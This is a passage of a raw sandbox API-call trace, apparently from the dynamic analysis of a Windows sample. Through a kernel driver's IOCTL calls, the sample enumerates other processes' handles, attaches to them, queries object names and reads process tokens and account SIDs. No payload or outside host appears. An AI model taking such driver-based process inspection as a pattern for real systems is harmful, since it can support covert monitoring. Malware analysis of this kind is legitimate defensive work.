nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0133.581] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.581] PsAcquireProcessExitSynchronization () returned 0x0 [0133.581] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0) [0133.581] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003544310, HandleInformation=0x0) returned 0x0 [0133.581] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.581] PsReleaseProcessExitSynchronization () returned 0x2 [0133.581] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0133.581] ObQueryNameString (in: Object=0xfffffa8003544310, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0133.581] ObfDereferenceObject (Object=0xfffffa8003544310) returned 0x1 [0133.581] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.581] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.581] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.581] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0133.581] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.582] PsAcquireProcessExitSynchronization () returned 0x0 [0133.582] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0) [0133.582] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0133.582] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.582] PsReleaseProcessExitSynchronization () returned 0x2 [0133.582] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0133.582] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.582] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0133.582] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.582] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.582] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.582] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0133.582] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.582] PsAcquireProcessExitSynchronization () returned 0x0 [0133.582] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0) [0133.582] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0133.582] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.582] PsReleaseProcessExitSynchronization () returned 0x2 [0133.582] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0133.582] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.582] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0133.582] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.582] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.582] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xfd8) returned 0xc0 [0133.582] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.582] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800397fb30, HandleInformation=0x0) returned 0x0 [0133.582] ObOpenObjectByPointer (in: Object=0xfffffa800397fb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff80000520) returned 0x0 [0133.582] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x14 [0133.582] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000520, DesiredAccess=0x8, TokenHandle=0xfffffa80024c34c0 | out: TokenHandle=0xfffffa80024c34c0*=0xc8) returned 0x0 [0133.582] ZwClose (Handle=0xffffffff80000520) returned 0x0 [0133.582] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.583] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.583] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.584] CloseHandle (hObject=0xc8) returned 1 [0133.584] CloseHandle (hObject=0xc0) returned 1 [0133.584] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.584] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.584] PsLookupProcessByProcessId (in: ProcessId=0xfd8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.584] PsAcquireProcessExitSynchronization () returned 0x0 [0133.584] KeStackAttachProcess (in: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880050005d0) [0133.584] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800314d5f0, HandleInformation=0x0) returned 0x0 [0133.584] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.584] PsReleaseProcessExitSynchronization () returned 0x2 [0133.584] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x12 [0133.584] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.584] ObfDereferenceObject (Object=0xfffffa800314d5f0) returned 0x1 [0133.584] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.584] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.584] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.584] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0133.585] PsLookupProcessByProcessId (in: ProcessId=0xfd8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.585] PsAcquireProcessExitSynchronization () returned 0x0 [0133.585] KeStackAttachProcess (in: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880050005d0) [0133.585] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80034bfd10, HandleInformation=0x0) returned 0x0 [0133.585] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.585] PsReleaseProcessExitSynchronization () returned 0x2 [0133.585] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x12 [0133.585] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.585] ObfDereferenceObject (Object=0xfffffa80034bfd10) returned 0x1 [0133.585] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.585] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.585] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.585] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0133.585] PsLookupProcessByProcessId (in: ProcessId=0xfd8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.585] PsAcquireProcessExitSynchronization () returned 0x0 [0133.585] KeStackAttachProcess (in: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880050005d0) [0133.585] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002263d10, HandleInformation=0x0) returned 0x0 [0133.585] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.585] PsReleaseProcessExitSynchronization () returned 0x2 [0133.585] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x12 [0133.585] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.585] ObfDereferenceObject (Object=0xfffffa8002263d10) returned 0x3 [0133.585] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.585] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.585] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.585] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0133.585] PsLookupProcessByProcessId (in: ProcessId=0xfd8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.585] PsAcquireProcessExitSynchronization () returned 0x0 [0133.585] KeStackAttachProcess (in: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880050005d0) [0133.585] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80038f6f20, HandleInformation=0x0) returned 0x0 [0133.586] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.586] PsReleaseProcessExitSynchronization () returned 0x2 [0133.586] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x12 [0133.586] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.586] ObfDereferenceObject (Object=0xfffffa80038f6f20) returned 0x1 [0133.586] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.586] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.586] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xfe0) returned 0xc0 [0133.586] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.586] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80039e2b30, HandleInformation=0x0) returned 0x0 [0133.586] ObOpenObjectByPointer (in: Object=0xfffffa80039e2b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff80000520) returned 0x0 [0133.586] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x29 [0133.586] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000520, DesiredAccess=0x8, TokenHandle=0xfffffa80024c34c0 | out: TokenHandle=0xfffffa80024c34c0*=0xc8) returned 0x0 [0133.586] ZwClose (Handle=0xffffffff80000520) returned 0x0 [0133.586] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.586] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.586] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.587] CloseHandle (hObject=0xc8) returned 1 [0133.588] CloseHandle (hObject=0xc0) returned 1 [0133.588] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.588] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0133.588] PsLookupProcessByProcessId (in: ProcessId=0xfe0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.588] PsAcquireProcessExitSynchronization () returned 0x0 [0133.588] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880050005d0) [0133.588] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003539e20, HandleInformation=0x0) returned 0x0 [0133.588] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.588] PsReleaseProcessExitSynchronization () returned 0x2 [0133.588] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x27 [0133.588] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.588] ObfDereferenceObject (Object=0xfffffa8003539e20) returned 0x1 [0133.588] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.588] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.588] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.588] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0133.588] PsLookupProcessByProcessId (in: ProcessId=0xfe0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.588] PsAcquireProcessExitSynchronization () returned 0x0 [0133.588] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880050005d0) [0133.588] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80025a32f0, HandleInformation=0x0) returned 0x0 [0133.588] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.588] PsReleaseProcessExitSynchronization () returned 0x2 [0133.588] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x27 [0133.588] ObQueryNameString (in: Object=0xfffffa80025a32f0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0133.588] ObfDereferenceObject (Object=0xfffffa80025a32f0) returned 0x1 [0133.588] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.588] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.588] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.589] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.589] PsLookupProcessByProcessId (in: ProcessId=0xfe0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.589] PsAcquireProcessExitSynchronization () returned 0x0 [0133.589] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880050005d0) [0133.589] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.589] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.589] PsReleaseProcessExitSynchronization () returned 0x2 [0133.589] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x27 [0133.589] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005000550) returned 0x0 [0133.589] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.589] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.589] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.589] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.589] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0133.589] PsLookupProcessByProcessId (in: ProcessId=0xfe0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.589] PsAcquireProcessExitSynchronization () returned 0x0 [0133.589] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880050005d0) [0133.589] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002606f20, HandleInformation=0x0) returned 0x0 [0133.589] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.589] PsReleaseProcessExitSynchronization () returned 0x2 [0133.589] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x27 [0133.589] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020137c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80020137c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.589] ObfDereferenceObject (Object=0xfffffa8002606f20) returned 0x1 [0133.589] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.589] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.589] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.589] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.589] PsLookupProcessByProcessId (in: ProcessId=0xfe0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.589] PsAcquireProcessExitSynchronization () returned 0x0 [0133.589] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880050005d0) [0133.589] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a003982600, HandleInformation=0x0) returned 0x0 [0133.589] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.589] PsReleaseProcessExitSynchronization () returned 0x2 [0133.589] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x27 [0133.590] ObQueryNameString (in: Object=0xfffff8a003982600, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.590] ObfDereferenceObject (Object=0xfffff8a003982600) returned 0x1 [0133.590] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.590] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.590] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.590] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0133.590] PsLookupProcessByProcessId (in: ProcessId=0xfe0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.590] PsAcquireProcessExitSynchronization () returned 0x0 [0133.590] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880050005d0) [0133.590] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003450350, HandleInformation=0x0) returned 0x0 [0133.590] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.590] PsReleaseProcessExitSynchronization () returned 0x2 [0133.590] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x27 [0133.590] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.590] ObfDereferenceObject (Object=0xfffffa8003450350) returned 0x1 [0133.590] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.590] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.590] 